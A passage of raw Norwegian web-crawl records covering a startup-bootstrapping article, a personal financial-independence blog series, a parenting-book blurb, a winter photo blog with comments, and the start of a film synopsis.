g\u00e5 samme vei.\n\n**1. Opplev lidenskap for produktet**\n\nUansett hvilken bedrift du starter, s\u00e5 er det viktig \u00e5 ha interesse for det du selger. Hvordan kan du forvente at andre skal kj\u00f8pe noe n\u00e5r du egentlig ikke bryr deg om hva du selger? Dette er spesielt viktig i forhold til bootstrapping, ettersom du vil spise, sove og puste produktet over lang tid. Det er sjelden at en bedrift vil oppleve stor fortjeneste i l\u00f8pet av de to f\u00f8rste \u00e5rene, og du kommer derfor til \u00e5 arbeide mye i forhold til bel\u00f8nningen. Det er selve lidenskapen for produktet som vil skille mellom de som gir opp og de som fortsetter videre til suksess. En av grunnene til at jeg bestemte meg for \u00e5 starte dette firmaet, var min lidenskap for produktet. Etter \u00e5 ha v\u00e6rt brillebruker nesten hele livet, har jeg alltid syntes at det var vanskelig \u00e5 finne briller som var akkurat slik jeg ville ha dem. Fysiske butikker hadde en tendens til \u00e5 ha de samme varene p\u00e5 lager, bestselgere diktert av selve merkevaren, og dette begrenset utvalget. Dette f\u00f8rte til at jeg startet opp en plattform der kundene kunne handle, og slik finne det perfekte solbrille- eller brilleparet.\n\n**2. V\u00e6r \u00f8konomisk**\n\nDe tingene som virker n\u00f8dvendige, er sannsynligvis ikke det. Det \u00e5 motta investeringer, betyr vanligvis at du kan f\u00e5 teamet, lokalene og infrastrukturen til \u00e5 vokse fort. Samtidig kan dette bidra til \u00e5 skape en manglende forst\u00e5else for den \u00f8konomiske betydningen av \u00e5 v\u00e6re kunnskapsrik. Uten investeringer blir enhver \u00f8konomisk beslutning og detalj gransket. Det betyr at selv om du tror at et stilig, nytt kontor er avgj\u00f8rende, s\u00e5 kan disse pengene brukes p\u00e5 en bedre m\u00e5te. Vi brukte soverommet som arbeidssted i lang tid, siden vi visste at det \u00e5 leie et kontor ville g\u00e5 ut over fortjenesten. Det var f\u00f8rst da plassen ble for trang at vi bestemt oss for \u00e5 utvide. Etter en slik enkel oppstart, har vi n\u00e5 virksomheter i Italia, Kina, Hong Kong, Australia og USA.\n\n**3. Skap et stort nettverk**\n\n\u00c5 skape et nettverk er en viktig jobbferdighet som enhver entrepren\u00f8r m\u00e5 forbedre. Under en bedrifts bootstrapping, er det lite sannsynlig at du vil ha store utgifter til reklame. Det er da nettverket virkelig kommer til sin rett. Du kan bruke dine kontakter for \u00e5 tilknytte deg personer som kan gi deg eksponering, r\u00e5d, ja til og med tjenester. Du vil l\u00e6re mer jo st\u00f8rre nettverk du bygger, og dess mer kan du \u00f8ke bevisstheten i forhold til din bedrift.\n\n**4. Smarte ansettelser**\n\nEn vellykket bedrift er sjelden en enmannsbedrift, og derfor trenger du de riktige personene som kan hjelpe til med \u00e5 styre skipet ditt i riktig retning. Det handler om smarte ansettelser. Ett av tiltakene til SmartBuyGlasses har v\u00e6rt \u00e5 lage v\u00e5rt eget globale e-markedsf\u00f8ringsinstitutt, der vi tilbyr folk fra hele verden muligheten til \u00e5 l\u00e6re praktiske markedsf\u00f8ringsferdigheter i et ekte forretningsmilj\u00f8. Med dette initiativet har vi ogs\u00e5 v\u00e6rt i stand til \u00e5 utnytte morsm\u00e5l for \u00e5 hjelpe virksomheten til \u00e5 ekspandere til andre markeder. Det \u00e5 ha ansatte fra over 20 land p\u00e5 samme kontor, gj\u00f8r at alle kan l\u00e6re og oppn\u00e5 mer p\u00e5 et h\u00f8yere niv\u00e5. Vi er i stand til \u00e5 jobbe p\u00e5 tvers av landegrensene, og forst\u00e5 den sanne dynamikken som finner sted i en global sammenheng.\n\n**5. Legg fortjenesten tilbake i virksomheten**\n\nDenne er enkel. Dersom du ikke mottar en \u00f8konomisk investering, er det \u00e5 investere overskuddet tilbake i bedriften den eneste m\u00e5ten for \u00e5 vokse. Se p\u00e5 neste \u00e5rs m\u00e5l, og finn ut hva du trenger \u00e5 investere for \u00e5 oppn\u00e5 disse m\u00e5lene. Det kan bety \u00e5 ta en lavere l\u00f8nn eller ingen l\u00f8nn i det hele tatt (slik vi gjorde i mange \u00e5r). L\u00e5n kan virke som et attraktivt alternativ for en rask kapitaltilf\u00f8rsel, men dette vil bare legge mer press p\u00e5 virksomheten, noe som kan v\u00e6re spesielt farlig i et usikkert \u00f8konomisk klima.\n\n**6. Godta investeringer n\u00e5r tiden er kommet**\n\nBootstrapping sikrer at du enkelt kan ta beslutninger og svare markedet raskt. Det vil mest sannsynlig komme et tidspunkt n\u00e5r investeringen blir et levedyktig alternativ. Da m\u00e5 du v\u00e6re villig til \u00e5 gi slipp, og innse at gjennom \u00e5 s\u00f8ke en slik investering, kan gevinsten v\u00e6re betydelig h\u00f8yere. Det \u00e5 skaffe kapital n\u00e5r selskapet er vellykket og b\u00e6rekraftig, setter deg i f\u00f8rersetet for \u00e5 velge de beste investorene p\u00e5 de rette betingelsene.\n\n**Om forfatteren: Doron Kalinko**\n\nDoron Kalinko er en innovat\u00f8r, e-handelsentrepren\u00f8r og global oppstartsr\u00e5dgiver for selskaper over hele verden. Som co-grunnlegger og administrerende direkt\u00f8r i en av de st\u00f8rste e-handelsbedrifter for designerbriller, SmartBuyGlasses, leder han en online brillerevolusjon. Med virksomheter i Europa, Amerika og Asia, er SBG portef\u00f8ljen av domeneegenskaper (inkludert smartbuyglasses.no) markedsledende i over 35 land. I tidligere roller har Doron jobbet som Business Advisor i PriceWaterhouseCoopers og som visepresident i TVSN, Australias fremste shopping-kanal for hjemmet.\n\n## \u00d8konomisk uavhengighet \u2013 min egen reise s\u00e5 langt (del 3)\n\njuni 20, 2016 @ 7:48 am \u00b7 Filed under 31.12.2018, \u00d8konomisk uavhengighet\n\nSom jeg har v\u00e6rt inne p\u00e5 tidligere, ser jeg for meg at finansformuen min skal best\u00e5 av f\u00f8lgende komponenter n\u00e5r jeg slutter \u00e5 arbeide:\n\n  - Kr 2.100.000 p\u00e5 en bankkonto til sju \u00e5rs levekostnader (kr 25.000 i 84 m\u00e5neder).\n  - Kr 1.000.000 i tradingkapital (aktiv aksjehandel).\n  - Kr 500.000 i et globalt indeksfond (passiv aksjeinvestering).\n  - Kr 400.000 i buffer p\u00e5 en bankkonto.\n\nNoen av mine lesere har reagert p\u00e5 at jeg skal ha s\u00e5 mye plassert i bank, og lurer p\u00e5 hvorfor jeg \u00f8nsker det. Det er jo aksjer som teller n\u00e5r man skal f\u00e5 pengene til \u00e5 yngle, ikke sant? Bank er for risikoaverse gamlinger? \ud83d\ude42\n\nForventet avkastning er h\u00f8yest i aksjemarkedet (sammenlignet med de fleste investeringsformer som er lett tilgjengelige), men svingningene er store. N\u00e5r m\u00e5let er \u00e5 bygge opp en formue, trenger ikke dette \u00e5 v\u00e6re et problem. Den langsiktige trenden har alltid v\u00e6rt stigende, s\u00e5 dersom aksjeportef\u00f8ljen din halverer seg i verdi et \u00e5r, s\u00e5 er det bare et sp\u00f8rsm\u00e5l om tid f\u00f8r den er oppe i gamle h\u00f8yder igjen. Situasjonen blir imidlertid en helt annen n\u00e5r man skal leve av den kapitalen man har opparbeidet. Da blir den langsiktige trenden litt mindre interessant, og de kortsiktige svingningene mer problematiske.\n\nHvis jeg kun hadde lagt vekt p\u00e5 forventet avkastning, s\u00e5 kunne jeg ha plassert alle de fire millioner kronene i et globalt indeksfond, og \u00e5rlig solgt nok andeler til \u00e5 dekke mine l\u00f8pende kostnader.\u00a0Problemet med en slik l\u00f8sning er at jeg raskt vil g\u00e5 konkurs dersom jeg er maks uheldig med svingningene i markedet. I verste fall kan fondsandelene mine halvere seg i verdi det f\u00f8rste \u00e5ret etter at jeg slutter \u00e5 arbeide (i aller verste fall kan de falle enda mer i verdi, men for et globalt fond vil dette v\u00e6re **veldig** uvanlig), og hvis jeg da i tillegg t\u00e6rer p\u00e5 det resterende bel\u00f8pet for \u00e5 dekke l\u00f8pende kostnader, vil jeg ved starten av \u00e5r to allerede ha \u00abbrukt opp\u00bb langt over halvparten av kapitalen min. Hadde i tillegg markedet falt ogs\u00e5\u00a0i \u00e5r to, s\u00e5 hadde formuen min blitt s\u00e5pass redusert at jeg snart m\u00e5tte ha begynt \u00e5 lete etter en jobb igjen.\n\nJeg ser mange fordeler med \u00e5 sette av nok midler p\u00e5 en bankkonto til \u00e5 dekke levekostnadene mine de f\u00f8rste sju \u00e5rene:\n\n  - Jeg slipper \u00e5 stresse for mye med \u00e5 oppn\u00e5 h\u00f8y avkastning p\u00e5 tradingkapitalen min de f\u00f8rste sju \u00e5rene. Det viktigste i starten blir \u00e5 opparbeide meg erfaring, samtidig som jeg\u00a0bevarer kapitalen.\u00a0En beslutning\u00a0tatt i en stresset situasjon er gjerne en d\u00e5rlig beslutning.\n  - P\u00e5 sju \u00e5rs sikt er det sannsynlig at de kr 500.000 som jeg skal plassere i et globalt indeksfond har steget en god del i verdi. Svingningene i aksjemarkedet er som nevnt store, men tar man tiden til hjelp, vil den gjennomsnittlige langsiktige og gode avkastningen gj\u00f8re seg gjeldende. Man har ingen garantier p\u00e5 sju \u00e5rs sikt heller, men sannsynligheten for positiv avkastning er veldig stor p\u00e5 s\u00e5 lang sikt.\n  - Jeg vet hver m\u00e5ned hvor mye jeg har disponibelt, og trenger ikke ha d\u00e5rlig samvittighet dersom jeg bruker opp denne summen hver m\u00e5ned.\n\n**Poenget mitt er alts\u00e5 at det er stor forskjell p\u00e5 det \u00e5 bygge opp en formue og det \u00e5 leve av en formue.** Per i dag holder jeg p\u00e5 \u00e5 bygge opp formuen min, og derfor har jeg sv\u00e6rt h\u00f8y eksponering mot aksjemarkedet. Faktisk langt over 100 %, i og med at en stor del av aksjeformuen min er finansiert med et boligl\u00e5n som jeg kunne ha betalt ned for lenge siden. Per i dag tar jeg alts\u00e5 h\u00f8y risiko p\u00e5 en m\u00e5te, men samtidig f\u00e5r jeg jo m\u00e5nedlig utbetalt l\u00f8nn, s\u00e5 denne risikoen er ikke noe problem for meg. N\u00e5r jeg slutter \u00e5 arbeide og plutselig ikke f\u00e5r utbetalt l\u00f8nn lenger, tror jeg det kan v\u00e6re smart \u00e5 tenke mer konservativt.\n\n## 2016 \u2013 M\u00e5lendring\n\njuni 17, 2016 @ 8:47 am \u00b7 Filed under 2016, 31.12.2018\n\nSom mange av dere er kjent med, setter jeg meg \u00e5rlige m\u00e5l for hvor mye jeg skal spare hver m\u00e5ned. For 2016 er m\u00e5let \u00e5 spare kr 21.000 hver m\u00e5ned, og det har jeg s\u00e5 langt klart. Dette er jeg veldig forn\u00f8yd med, men samtidig er jeg opptatt av \u00e5 stadig forbedre meg og \u00e5 utnytte de mulighetene som m\u00e5tte dukke opp. F\u00f8rste halv\u00e5r i \u00e5r har det skjedd en del ting som gj\u00f8r at jeg n\u00e5 har bestemt meg for \u00e5 \u00f8ke den m\u00e5nedlige sparingen fra og med juli:\n\n  - L\u00f8nnsoppgj\u00f8ret for 2016 er i boks. Ikke noe rekord\u00e5r, men det ble da litt ekstra hver m\u00e5ned.\n  - Jeg f\u00e5r snart tilbake noen tusen p\u00e5 skatten for 2015.\n  - Jeg har jobbet en del overtid.\n  - Feriepengene har kommet, og jeg ser at jeg sannsynligvis ikke vil komme til \u00e5 bruke opp dem f\u00f8r julil\u00f8nna kommer inn p\u00e5 konto.\n  - Renten p\u00e5 boligl\u00e5net mitt er lavere n\u00e5 enn da jeg satte m\u00e5lene mine for 2016.\n\nN\u00e5 har selvsagt noen av de tingene jeg kj\u00f8per hver m\u00e5ned for \u00e5 drifte husholdningen ogs\u00e5 \u00f8kt litt i pris, s\u00e5 det er ikke bare plusser i regnskapet, men alt i alt ser jeg det n\u00e5 som realistisk at jeg skal klare **\u00e5 spare kr 22.000 hver m\u00e5ned fra\u00a0og med juli og ut \u00e5ret**. Noe lenger fram enn det planlegger jeg ikke i denne omgang.\n\nS\u00e5 langt i \u00e5r har jeg fordelt den m\u00e5nedlige sparingen p\u00e5 kr 11.000 til nedbetaling av boligl\u00e5n og kr 10.000 til investering i et globalt indeksfond. Den ekstra tusenlappen jeg n\u00e5 skal spare hver m\u00e5ned har jeg bestemt meg for \u00e5 bruke til \u00e5 betale ned p\u00e5 boligl\u00e5net. M\u00e5let er at jeg skal kvitte meg med hele boligl\u00e5net innen utgangen av f\u00f8rste halv\u00e5r 2017, og jo mindre jeg m\u00e5 realisere av aksjefondsandeler for \u00e5 klare det, desto bedre er det.\n\nNoen av dere vil kanskje tenke at \u00e5 \u00f8ke sparingen med totalt kr 6.000 i \u00e5r ikke vil utgj\u00f8re s\u00e5 mye fra eller til. Jeg skal jo spare opp kr 4.000.000 totalt, s\u00e5 det er ikke snakk om mer enn 1,5 promille av totalen. Men n\u00e5r det gjelder store m\u00e5l, mener jeg at man ikke b\u00f8r tenke for mye p\u00e5 hvor mye hvert lille delsteg utgj\u00f8r av totalen. Da mister man fort motet. Velger man i stedet \u00e5 fokusere p\u00e5 framgang og det \u00e5 stadig strekke seg litt lenger, blir prosessen mer positiv og motiverende.\n\n\u00a0\n## \u00d8konomisk uavhengighet \u2013 min egen reise s\u00e5 langt (del 2)\n\njuni 13, 2016 @ 9:59 am \u00b7 Filed under 31.12.2018, \u00d8konomisk uavhengighet\n\nHvordan vil det bli \u00e5 slutte \u00e5 arbeide? Dette er noe jeg har tenkt en del p\u00e5. P\u00e5 den ene siden ser jeg masse fordeler med det \u00e5 ikke lenger skulle dra p\u00e5 jobb hver dag, men samtidig vet jeg om enkelte (blant annet en del pensjonister) som sliter med \u00e5 omstille seg til en tilv\u00e6relse uten jobb.\n\nFor meg er det viktig at jeg ikke skal bli en sofagris som bare driver dank hele dagen n\u00e5r jeg slutter \u00e5 arbeide. Veien m\u00e5 selvsagt bli litt til mens man g\u00e5r, men jeg har bestemt meg for at jeg skal sette meg noen helt konkrete m\u00e5l for det f\u00f8rste \u00e5ret, nettopp for \u00e5 forhindre at jeg blir en slask. Per i dag er dette de m\u00e5lene jeg ser for meg:\n\n  - **Jeg skal trene minst 150 ganger, alts\u00e5 om lag tre ganger i uka.** I dag trener jeg i snitt to ganger i uka, og jeg er opptatt av \u00e5 v\u00e6re i rimelig god form. Jeg vurderer i tillegg om jeg ogs\u00e5 skal sette meg et helt konkret treningsm\u00e5l, for eksempel \u00e5\u00a0l\u00f8pe en halvmaraton p\u00e5 under to timer, ta 150 pushups, ta 100 kg i benkpress eller lignende, slik at\u00a0jeg ikke bare m\u00e5ler hvor mange\u00a0ganger jeg trener, men ogs\u00e5 effekten av treningen.\n  - **Jeg skal lese minst\u00a050 fagb\u00f8ker, alts\u00e5 om lag en per uke.** Dette vil bidra til at jeg ogs\u00e5 holder hodet litt i form.\n  - **Jeg skal ikke kj\u00f8pe meg noen kl\u00e6r eller noe elektronisk utstyr.** N\u00e5r jeg slutter \u00e5 arbeide skal jeg bruke maks kr 25.000 hver m\u00e5ned de f\u00f8rste sju \u00e5rene. Dette er mer enn jeg bruker i dag, men ikke s\u00e5 veldig mye mer. Jeg tror jeg skal klare \u00e5 ha et utmerket liv for denne summen per m\u00e5ned, men det er naturlig nok ikke rom for stadige store utskeielser. For \u00e5 tvinge meg selv til \u00e5 ikke sl\u00f8se, skal jeg derfor ikke kj\u00f8pe noen kl\u00e6r eller noe elektronisk utstyr det f\u00f8rste \u00e5ret. Jeg tror dette vil ha en oppdragende effekt ved at jeg kanskje tar enda bedre vare p\u00e5 det jeg allerede har og blir enda litt mindre materalistisk enn det jeg allerede er. For \u00e5 klare dette i praksis, skal jeg f\u00f8r jeg slutter \u00e5 jobbe (og fortsatt f\u00e5r utbetalt l\u00f8nn) kj\u00f8pe inn det som trengs til garderoben min, samt kj\u00f8pe meg nytt datautstyr og ny mobiltelefon. Planen er at jeg ikke skal ha noen utgifter knyttet til disse kostnadspostene det f\u00f8rste \u00e5ret, og sv\u00e6rt lite kostnader i \u00e5r to og tre.\n  - **Jeg skal bruke minst en halv\u00a0time per dag p\u00e5 musikk.** Jeg spiller flere ulike instrumenter, men \u00f8nsker spesielt \u00e5 \u00f8ke mine tekniske spilleferdigheter p\u00e5 bassgitar.\n  - **Jeg skal bruke minst en halv time per dag p\u00e5 forvaltning av min tradingkapital.** Dette blir p\u00e5 mange m\u00e5ter min nye \u00abjobb\u00bb, og jeg er fast bestemt p\u00e5 \u00e5 gj\u00f8re den p\u00e5 en god m\u00e5te. En halv time hver dag h\u00f8res kanskje ikke s\u00e5 mye ut, men jeg har ingen planer om \u00e5 bli noen daytrader. Mest sannsynlig g\u00e5r jeg hovedsakelig for et trendf\u00f8lgingssystem der jeg typisk vil sitte p\u00e5 en aksje i noen uker eller m\u00e5neder. Rigid risikostyring blir imidlertid viktig, s\u00e5 jeg m\u00e5 selvsagt f\u00f8lge godt med.\n\nHensikten med disse m\u00e5lene for det f\u00f8rste \u00e5ret er alts\u00e5 \u00e5 forhindre at jeg kjeder meg og blir en slask uten m\u00e5l og mening som sitter med potetgullposen i h\u00e5nda og ser p\u00e5 tv mens sola skinner ute. Jeg stoler ikke helt p\u00e5 meg selv her, for per i dag legger jobben og familien beslag p\u00e5 s\u00e5 mye tid at det er veldig lite d\u00f8dtid i l\u00f8pet av uken. N\u00e5r jeg plutselig frigj\u00f8r nesten 50 timer i uken (arbeidstid + den tiden jeg bruker p\u00e5 \u00e5 komme meg til og fra jobb), blir selvsagt hverdagen helt annerledes, og da tror jeg det kan v\u00e6re lurt \u00e5 ha tenkt igjennom litt p\u00e5 forh\u00e5nd hva jeg skal bruke tiden min p\u00e5. Jeg vil dog understreke at m\u00e5lene ovenfor ikke vil legge beslag p\u00e5 all min tid. Et av m\u00e5lene med \u00e5 slutte \u00e5 jobbe er jo \u00f8kt frihet og mindre stress. M\u00e5lene ovenfor vil legge beslag p\u00e5 en god del tid, men samtidig er mye av dette ting jeg ogs\u00e5 gj\u00f8r i dag p\u00e5 fritiden, s\u00e5 alt i alt vil jeg fortsatt f\u00e5 tid til \u00e5 ta meg en liten dupp p\u00e5 dagtid og \u00e5 ta meg en god kopp kaffe i hagen n\u00e5r det er fint v\u00e6r. Ahhhh, gleder meg. \ud83d\ude42 Det er ogs\u00e5 viktig for meg at jeg ikke blir en selvdyrkende egoist n\u00e5r jeg slutter \u00e5 arbeide, s\u00e5 det \u00e5 ha tid til \u00e5 hjelpe familie og venner med diverse oppgaver, er ogs\u00e5 noe jeg mener blir ekstra viktig n\u00e5r jeg f\u00e5r bedre tid.\n\nHva syns du om dette? Syns du jeg g\u00e5r p\u00e5 akkord med egen frihet n\u00e5r jeg krever s\u00e5pass mye av meg selv det f\u00f8rste \u00e5ret uten jobb?\n\n## \u00d8konomisk uavhengighet \u2013 min egen reise s\u00e5 langt (del 1)\n\njuni 6, 2016 @ 1:31 pm \u00b7 Filed under 31.12.2018, \u00d8konomisk uavhengighet\n\nS\u00e5 langt i denne serien av innlegg om \u00f8konomisk uavhengighet har jeg skrevet generelt om framgangsm\u00e5te og strategier. I dette og et par framtidige innlegg vil jeg skrive om min egen reise fram mot dette store m\u00e5let.\n\nJeg har (som kjent) satt meg som m\u00e5l at jeg innen 31.12.2018 skal ha bygget meg opp en netto finansformue p\u00e5 kr 4.000.000, og at jeg da kan slutte i min vanlige heltidsjobb. Jeg har vinglet litt fram og tilbake om hvordan jeg skal forvalte disse fire millionene n\u00e5r jeg slutter \u00e5 arbeide, men per i dag syns jeg dette virker \u00e5 v\u00e6re en rimelig fordeling:\n\n  - Kr 2.100.000 p\u00e5 en bankkonto til sju \u00e5rs levekostnader (kr 25.000 i 84 m\u00e5neder).\n  - Kr 1.000.000 i tradingkapital (aktiv aksjehandel).\n  - Kr 500.000 i et globalt indeksfond (passiv aksjeinvestering).\n  - Kr 400.000 i buffer p\u00e5 en bankkonto.\n\nVidere er planen at alle ekstra inntekter fra sm\u00e5jobber (styreverv osv.), alle renteinntekter fra bankkontoene og s\u00e5 videre skal tilf\u00f8res tradingkapitalen de f\u00f8rste sju \u00e5rene, slik at jeg har en st\u00f8rst mulig sum penger til \u00e5 leve av etter at de f\u00f8rste sju \u00e5rene har g\u00e5tt. Dette er ikke en risikofri plan, men jeg er villig til \u00e5 ta en viss risiko for \u00e5 realisere denne dr\u00f8mmen. Skulle alt skj\u00e6re seg, m\u00e5 jeg tilbake til arbeidslivet igjen etter 10-15 \u00e5r,\u00a0men da har jeg forh\u00e5pentligvis i hvert fall hatt noen morsomme \u00e5r. \ud83d\ude42\n\nEtter mai\u00a0i \u00e5r\u00a0er\u00a0min netto finansformue p\u00e5\u00a0kr 1.757.000, noe som tilsvarer omtrent 44 % av m\u00e5let mitt. Denne formuen er satt sammen slik:\n\n  - I aksje- og obligasjonsfond (det aller meste i aksjefond): kr 3.122.000\n  - P\u00e5 bufferkonto: kr 20.000\n  - Boligl\u00e5n: kr \u2013 1.385.000\n\nMarkedsverdien av fondsandelene mine er\u00a0omtrent\u00a0kr 350.000\u00a0h\u00f8yere enn det som er oppgitt ovenfor.\u00a0Differansen skyldes\u00a0at jeg har en god del urealisert gevinst, og at jeg derfor har trukket ifra det jeg m\u00e5tte ha betalt i skatt dersom jeg hadde solgt alle fondsandelene mine i dag. Jeg syns denne m\u00e5ten \u00e5 regne p\u00e5 gir det beste bildet av min faktiske netto finansformue.\n\nFondsandelene er delvis plassert i aktive og delvis i passive fond. N\u00e5r det gjelder de aktive fondene, er det delvis snakk om fond som var vinnerfond for en tid tilbake, men som i det siste har levert middelm\u00e5dig avkastning. Planen min er at jeg f\u00f8rste halv\u00e5r neste \u00e5r skal selge meg ut av de fondene som jeg da er minst forn\u00f8yd med, og at jeg skal bruke disse midlene til \u00e5 bli gjeldsfri. Fra 1. juli 2017 er alts\u00e5 planen at jeg ikke lenger skal ha noe boligl\u00e5n. Da vil jeg ikke lenger ha noen m\u00e5nedlige rentekostnader, og jeg kan derfor \u00f8ke den m\u00e5nedlige sparingen min med et par tusen.\n\nI dag sparer jeg kr 21.000 i m\u00e5neden. Kr 11.000 av disse bruker jeg til \u00e5 betale ned p\u00e5 boligl\u00e5net mitt, mens kr 10.000 investerer jeg i et globalt indeksfond. Disse fondsandelene har jeg tenkt \u00e5 beholde n\u00e5r jeg slutter \u00e5 arbeide, og de inng\u00e5r derfor i de kr 500.000 nevnt ovenfor som skal brukes til passiv aksjeinvestering.\n\nTeori er en ting, mens praksis alltid blir mer komplisert. Jeg vil derfor gjerne ha kommentarer til opplegget mitt fra mine lesere. \ud83d\ude42\n\n## 2016 \u2013 status mai\n\njuni 3, 2016 @ 6:59 am \u00b7 Filed under 2016\n\nMai ble en god m\u00e5ned. Jeg sparte som vanlig kr 21.000, og fikk ogs\u00e5 denne m\u00e5neden litt drahjelp fra aksjemarkedet. Alt i alt \u00f8kte min netto finansformue med i overkant av kr 52.000 i mai. Grafen nedenfor viser utviklingen s\u00e5 langt i \u00e5r.\n\n\n\n", "language": "no", "__index_level_0__": "030f799f-ed88-423a-b704-8e88d0177117"}
{"url": "http://tirsdagmorgen.no/inspirasjon/overraskelser/en-dristig-pastand/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:22:17Z", "text": "# En dristig p\u00e5stand\n\nTi \u00e5r etter at denne kronikken (klikk p\u00e5 bildet for full st\u00f8rrelse) ble publisert i Dagens N\u00e6ringsliv, tror jeg vi i dag med stor grad av sikkerhet kan fastsl\u00e5:\n\n**Internett er kommet for \u00e5 bli\\!**\n\n\n", "language": "no", "__index_level_0__": "145a866f-b2c4-4115-9eff-a35dabe43925"}
{"url": "https://www.tanum.no/_1000-tips-for-smabarnsforeldre-lise-galaasen-9788202425074", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00682.warc.gz", "warc_date": "2018-03-24T23:54:38Z", "text": "##### Omtale 1000 tips for sm\u00e5barnsforeldre\n\n Gode r\u00e5d er ikke dyre, de er mange\\! I denne boka deler tobarnsmoren og forfatteren Lise Galaasen egne og andre foreldres tips med deg som har sm\u00e5barn i huset. Hun har samlet kunnskap p\u00e5 de omr\u00e5dene i livet vi er mest opptatt av n\u00e5r vi har sm\u00e5 barn, for eksempel mat, kl\u00e6r, s\u00f8vn, barnestell, lek og aktiviteter. Boka er inndelt i ulike temaer og ogs\u00e5 i forhold til barnets alder, slik at det er lett \u00e5 finne fram. Her kan du plukke de r\u00e5dene som passer deg best, og som forh\u00e5pentligvis vil gj\u00f8re hverdagen din litt lettere og smartere. De medisinske r\u00e5dene er kvalitetssikret av lege og spesialist i allmennmedisin Stig Bruset.  \n  \nHvilke leker arrangerer man i 4-\u00e5rsbursdag? Hva skal til for \u00e5 f\u00e5 guttungen til \u00e5 sove i egen seng? Hvordan holde orden i lekekassene? Hva serverer man en to\u00e5ring med omgangssyke? Hvordan f\u00e5 barn i ulike aldre til \u00e5 gj\u00f8re husarbeid?  \n  \nGode hverdagstips fra foreldre og eksperter\\! Alle r\u00e5dene er velpr\u00f8vde og virker\\!  \nAlle r\u00e5d og tips samlet p\u00e5 ett sted\\!  \n  \n  \n", "language": "no", "__index_level_0__": "0c4716b8-dc30-4ad7-bdd0-5f46b46b34c1"}
{"url": "http://seftafoto.blogspot.com/2010/04/en-avslutning.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00363.warc.gz", "warc_date": "2018-03-24T23:21:12Z", "text": "## tirsdag 6. april 2010\n\n### En avslutning\n\n\n\nDisse bildene f\u00e5r st\u00e5 som en avslutning p\u00e5 vinteren, p\u00e5 vinterens farger og all sn\u00f8en. N\u00e5 vil jeg ha farger og noe annet, noe nytt. De er ogs\u00e5 en avslutning p\u00e5 bildene fra turen til Finnskogen. (Alle bildene fra Finnskogen er tatt p\u00e5 dette stedet).\n\n   \n#### 6 kommentarer:\n\n\")\n\n\n\nRune (Bildebloggen) sa...\n\nEn pen takk for n\u00e5 til kong vinter og turen i Finnskogen, bildene ble veldig pene :) N\u00e5 \u00f8nsker jeg meg en stor sol som kan varme godt slik at sn\u00f8en blir borte for denne gang :)\n\n\n\n\n\\-hanne sa...\n\nAvsluttning i dobbel forstand med den skigarden som en avsluttning p\u00e5 skogen :) Fine bilder\\! -og n\u00e5 er vi klare for v\u00e5ren\\!\n\n 6. april 2010 kl. 23:36    \n\n\n\n\n\nArya sa...\n\nEr s\u00e5 enig s\u00e5 enig med deg - vil ha nye farger og nye motiver jeg ogs\u00e5\\!\\!\\! Men vinteren har v\u00e6rt flott, og vi vil sikkert nyte bildene n\u00e5r vi bare f\u00e5r den litt p\u00e5 avstand :-)  \n  \nKlem\n\n 6. april 2010 kl. 23:48    \n\n\n\n\n\nAnne sa...\n\nUansett et vakkert stykke skog, og jeg smiler her jeg sitter, for kjenner igjen meg s\u00e5 i dine bilder, ser at vi ser mye av de samme tingene n\u00e5r vi er p\u00e5 vandring\\!\\!  \n  \nMen ja = lei sn\u00f8 og vinter punktum  \n  \nAnneklem\n\n 7. april 2010 kl. 07:05    \n\n\n\n\n\nRandi sa...\nEn vacker final\\! Ja, nu vill jag bara fotografera olika f\u00e4rgspektra - har l\u00e4ngtat s\u00e5\u00e5\u00e5\u00e5\u00e5 l\u00e4nge\\!\n\n 7. april 2010 kl. 08:46    \n\n \n\nNu har jeg kigget lidt p\u00e5 dine billeder fra Finnskogen og undret mig, om der er mange steder, der hedder \"Finnskogen\" - det lyder som et almindeligt navn. Google Maps viser et sted mellem Mj\u00f8san og Siljan S\u00f8en (:-) og n\u00e5r man zoomer ind, er der flere steder p\u00e5 kortet som hedder Finnskog.  \n  \nDet er s\u00e5 stort et skovomr\u00e5de, at det er sv\u00e6rt at forst\u00e5 for en lille dansker i Nordsj\u00e6lland ved de st\u00f8rste skove i Danmark, som er p\u00e5 ca. 15x5 kilometer og 10x4 kilometer :-)  \n  \nJeg synes at der er mange motiver i skoven om vinteren, hvis lyset falder heldigt - og lyset er meget smukt p\u00e5 de \"sidste billeder fra Finnskogen\" :-)\n\n 7. april 2010 kl. 09:05    \n\n\n\n", "language": "no", "__index_level_0__": "fffcfada-4b8a-43e7-b7f9-2136f2536d8a"}
{"url": "http://www.arthaus.no/kommer/article949088.ece", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00309.warc.gz", "warc_date": "2018-03-24T23:19:33Z", "text": "# Gullpalme-vinner Ruben \u00d6stlund til BIFF\n# Sort katt hvit katt\n\nGrga Pitic, sig\u00f8ynernes Gudfar og kongen over s\u00f8ppelfyllingene, og Zarije, den stolte eieren av et pukkverk, er verdens beste venner p\u00e5 tross av at de ikke har sett hverandre p\u00e5 25 \u00e5r. N\u00e5 er de blitt bestefedre og kan se tilbake p\u00e5 rike liv fulle av \"forbrytelser og straff\", og gjensidig respekt.\n\nZarijes s\u00f8nn, Matko, er en udugelig slabbedask som ikke engang t\u00f8r be sin far om hjelp. Derfor drar han til Grga n\u00e5r han trenger penger. Matko har nemlig kommet over en toglast med bensin som han vil selge p\u00e5 svarteb\u00f8rsen. Han trenger \u00e5 l\u00e5ne noen penger for \u00e5 kj\u00f8pe bensinen og forteller Grga at faren er d\u00f8d. I ren medlidenhet l\u00e5ner Grga ham pengene og bestemmer seg samtidig for \u00e5 opps\u00f8ke Zarijes grav.  \n  \nMatko involverer Dadan i svarteb\u00f8rshandelen. Dadan er gangsterbossen blant sig\u00f8ynerne og stort sett h\u00f8y p\u00e5 narko. Matko tror at med Dadan involvert vil handelen g\u00e5 smertefritt. Men idet toget ankommer f\u00e5r Matko en god dose sovemedisin. Han v\u00e5kner ikke opp f\u00f8r neste dag. Da er toget forsvunnet - i l\u00f8se luften.  \n  \nUvitende om at han har blitt lurt av den skruppell\u00f8se skurken Dadan, som han n\u00e5 skylder en masse penger, g\u00e5r Matko med 